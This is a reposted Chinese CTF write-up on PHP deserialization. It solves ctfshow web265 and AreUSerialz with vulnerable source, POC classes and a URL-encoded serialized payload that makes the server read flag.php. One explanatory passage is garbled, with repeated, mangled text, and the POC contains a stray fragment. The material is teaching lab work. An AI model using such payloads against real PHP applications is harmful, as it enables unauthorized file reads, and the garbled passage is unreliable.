题目ctfshow web265

  error_reporting(0);  include('flag.php');  highlight_file(__FILE__);  class ctfshowAdmin{  public $token;  public $password;  public function __construct($t,$p){  $this->token=$t;  $this->password = $p;  }  public function login(){  return $this->token===$this->password;  }  }  $ctfshow = unserialize($_GET['ctfshow']);  $ctfshow->token=md5(mt_rand());  if($ctfshow->login()){  echo $flag;  }$ctfshow->login()这个成立才给flag$ctfshow->token=md5(mt_rand());但是这个是随机的

这个题考察php按地址传参

  $a='11';  $b=&$a;  $b=1;  echo $a;//$b被赋值的是变量a的地址,php是按地址传参,a的值会随b值变化  //1

所以我们可以直接这样

  class ctfshowAdmin{   public $token;   public $password;   public function __construct(){   $this->password = &$this->token;   }  }  $a=new ctfshowAdmin();  echo ( urlencode(serialize($a)));
php7.1+反序列化对类属性不敏感

题目来自[网鼎杯 2020 青龙组]AreUSerialz

  include("flag.php");  highlight_file(__FILE__);  class FileHandler {   protected $op;   protected $filename;   protected $content;   function __construct() {   $op = "1";   $filename = "/tmp/tmpfile";   $content = "Hello World!";   $this->process();   }   public function process() {   if($this->op == "1") {   $this->write();   } else if($this->op == "2") {   $res = $this->read();   $this->output($res);   } else {   $this->output("Bad Hacker!");   }   }   private function write() {   if(isset($this->filename) && isset($this->content)) {   if(strlen((string)$this->content) > 100) {   $this->output("Too long!");   die();   }   $res = file_put_contents($this->filename, $this->content);   if($res) $this->output("Successful!");   else $this->output("Failed!");   } else {   $this->output("Failed!");   }   }   private function read() {   $res = "";   if(isset($this->filename)) {   $res = file_get_contents($this->filename);   }   return $res;   }   private function output($s) {   echo "[Result]: 
"
; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }

看着很多,其实没什么东西,

关键要利用到这里

大致看了write函数或者read函数,都可以尝试利用得到flag

但是__destruct()方法 $this->content = “”;会把content值为空,我们没有办法去利用这个write函数,所以看看read函数

__destruct()方法里有一个强类型比较, t h i s − > o p = = = " 2 " ,如果我们把 o p = 2 ; 不加引号,那么为 i n t 类型,则 this->op === "2",如果我们把op=2;不加引号,那么为int类型,则 this>op==="2",如果我们把op=2;不加引号,那么为int类型,则this->op === "2"为false,这样在process()方法里,就会调用read方法

接着就是绕过 is_valid函数 ,由于有protected属性,会有不可打印字符,而不可打印字符被

is_valid函数限制住了,所以需要绕过,那么在php7.1版本以上可以直接修改属性

因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符

POC如下

  class FileHandler {   public $op=2;   public $filename="flag.php";   public $content="111";   pr  }  $a = new FileHandler();  echo urlencode(serialize($a));  ?>payload ?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A3%3A%22111%22%3B%7D

来源地址:https://blog.csdn.net/qq_38154820/article/details/128778781

--结束END--

本文标题: PHP反序列化新手入门学习总结

本文链接: https://www.lsjlt.com/news/397014.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • PHP反序列化新手入门学习总结
    最近写了点反序列化的题,才疏学浅,希望对CTF新手有所帮助,有啥错误还请大师傅们批评指正。 php反序列化简单理解 首先我们需要理解什么是序列化,什么是反序列化? PHP序列化:serialize()...
    99+
    2023-09-06
    php PHP反序列化 CTF
  • PHP反序列化入门总结(小白必看)
    最近写了点反序列化的题,才疏学浅,希望对CTF新手有所帮助,有啥错误还请大师傅们批评指正。php反序列化简单理解首先我们需要理解什么是序列化,什么是反序列化?PHP序列化:serialize()序列化是将变量或对象转换成字符串的过程,用于存...
    99+
    2023-05-14
    反序列化 php
  • Java基础入门总结之序列化和反序列化
    目录基本概念序列化反序列化序列化和反序列化总结自定义序列化策略Externalizabletransient静态变量序列化ID破坏单例总结基本概念 Java中创建对象时,一旦程序终止...
    99+
    2024-04-02
  • php 反序列化总结
    果然不记笔记过一段时间就有一些东西忘了,这里给大家一个参考,如果有什么不对,希望各位师傅可以提出来。 目录 基本 序列化 serialize函数  json_encode函数 反序列化 unserialize函数 json_decode函数...
    99+
    2023-09-16
    学习 php 开发语言 经验分享
  • PHP反序列化入门手把手详解
    PHP反序列化入门手把手详解 前言:文章内容大致可分为原理详解-漏洞练习- 防御方法。文章内容偏向于刚接触PHP反序列化的师傅,是一篇对PHP反序列化入门的手把手教学文章。文章特色在于对PHP反序...
    99+
    2023-10-20
    php 安全 web安全
  • CTF php反序列化总结
    前言:本⼈⽔平不⾼,只能做⼀些类似收集总结这样的⼯作,本篇文章是我自己在学php反序列化写的一篇姿势收集与总结,有不对的地方欢迎师傅们批评指正~ php反序列化 定义:序列化就是将对象转换成字符串。反...
    99+
    2023-08-31
    php web安全 网络安全
  • PHP的序列化和反序列化入门
    什么是PHP序列化 serialize() //将一个对象转换成一个字符串unserialize() //将字符串还原成一个对象 通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果...
    99+
    2023-10-27
    android
  • Nexus入门学习使用总结
    文章目录 前言一、nexus是什么?二、使用步骤1.怎么启动nexus2.怎么访问nexus管理页面3.私服仓库的分类4.如何配置Maven5.怎么查看仓库的类型和地址6.怎么使用maven将...
    99+
    2023-09-10
    maven 服务器 运维
  • python学习总结五(python序列
    一 序列  这些类型是由一些成员共同组成的一个序列整体,所以统称为序列。 元组 ,列表,字符串。 1 .标准的操作符 都能应用序列。 2.序列类的操作符 ①成员关系操作符(in not in) 成员关系符就是判断一个字符是否属于这个字符串,...
    99+
    2023-01-31
    序列 python
  • python学习总结一(快速入门)
    新的一年了,对于去年的半年是在不满意,后半年是在没什么提高。新的一年当然有新的打算 不能那么平行线的走了,要让自己坡度上升。新的一年当然有新的计划了,一直说学开发的自己耽误了那么久了,去年的事情拖到了现在。最终确定了学习python。好吧学...
    99+
    2023-01-31
    入门 快速 python
  • ctfshow web入门 反序列化 263
    因为这个,可能讲的要稍微多一点,所以单独另起一篇 基本 题目主要是session反序列化 我们主要了解这里就可以了 session.serialize_handler的引擎有看下面。 注:php_serialize是从5.5.4开始使用...
    99+
    2023-08-31
    前端 php 开发语言 经验分享
  • Python序列化与反序列化相关知识总结
    Python序列化与反序列 在程序运行的过程中,所有的变量都是在内存中,比如,定义一个 dict: d = dict(name='Bob', age=20, score=88) ...
    99+
    2024-04-02
  • PHP反序列化漏洞-从入门到提升
    目录 第一章 PHP序列化基础 1.1 PHP序列化 1.1.1 PHP序列化概述 1.1.2 标准序列化 1.1.3 自定义序列化 1.1.4 序列化存储和转发 1.2 PHP反序列化 1.2.1 标准反序列化 1.2.2 未定义类的反序...
    99+
    2023-09-05
    php web安全
  • PHP反序列化入门代码实例分析
    本文小编为大家详细介绍“PHP反序列化入门代码实例分析”,内容详细,步骤清晰,细节处理妥当,希望这篇“PHP反序列化入门代码实例分析”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。php反序列化简单理解首先我们需要...
    99+
    2023-07-05
  • php浅析反序列化结构
    目录简介反序列化中常见的魔术方法反序列化绕过小Trick绕过_wakeup(CVE-2016-7124)绕过部分正则利用引用16进制绕过字符的过滤简介 序列化的目的是方便数据的传输和...
    99+
    2024-04-02
  • 渗透学习之PHP--序列化
    1.1什么是序列化 序列化. 序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程 1.2PHP如何序列化数据? 大多数情况下,我们需要将复杂的数组存储在数据库中或PHP中的文件中。有些人可能会使用PHP...
    99+
    2023-09-04
    学习 php
  • ctfshow web入门 反序列化 前篇 254-266
    这里266后面主要是框架,以后在讲 反序列化入门可以参考我写的另一篇很详细的哦~php 反序列化总结 web254 ...
    99+
    2023-09-11
    安全 开发语言 经验分享 php linux
  • Linux新手入门怎么学?如何学习好Linux?
      因为自身情况的问题,很多朋友可能对自己的工作不是很满意,因此都看中了Linux一片大好的趋势,想要转行学习Linux技术,但是却又对此不太了解,于是都非常好奇Linux如何学习呢怎么学习Linux好接下来针对问题为大家解读一下吧。  第...
    99+
    2023-06-05
  • Python入门学习之类的相关知识总结
    目录前言一、类的定义和使用二、类的方法三、类的属性四、类中常用特殊方法前言 Python是面向对象的程序设计(Object Oriented Programming)。 面向对象的程...
    99+
    2024-04-02
  • 一篇文章带你学习Mybatis-Plus(新手入门)
    目录Mybatis-Plus1.快速入门地址:安装 | MyBatis-Plus (baomidou.com)2.创建数据库mybatis-plus3.创建springboot项目,...
    99+
    2024-04-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作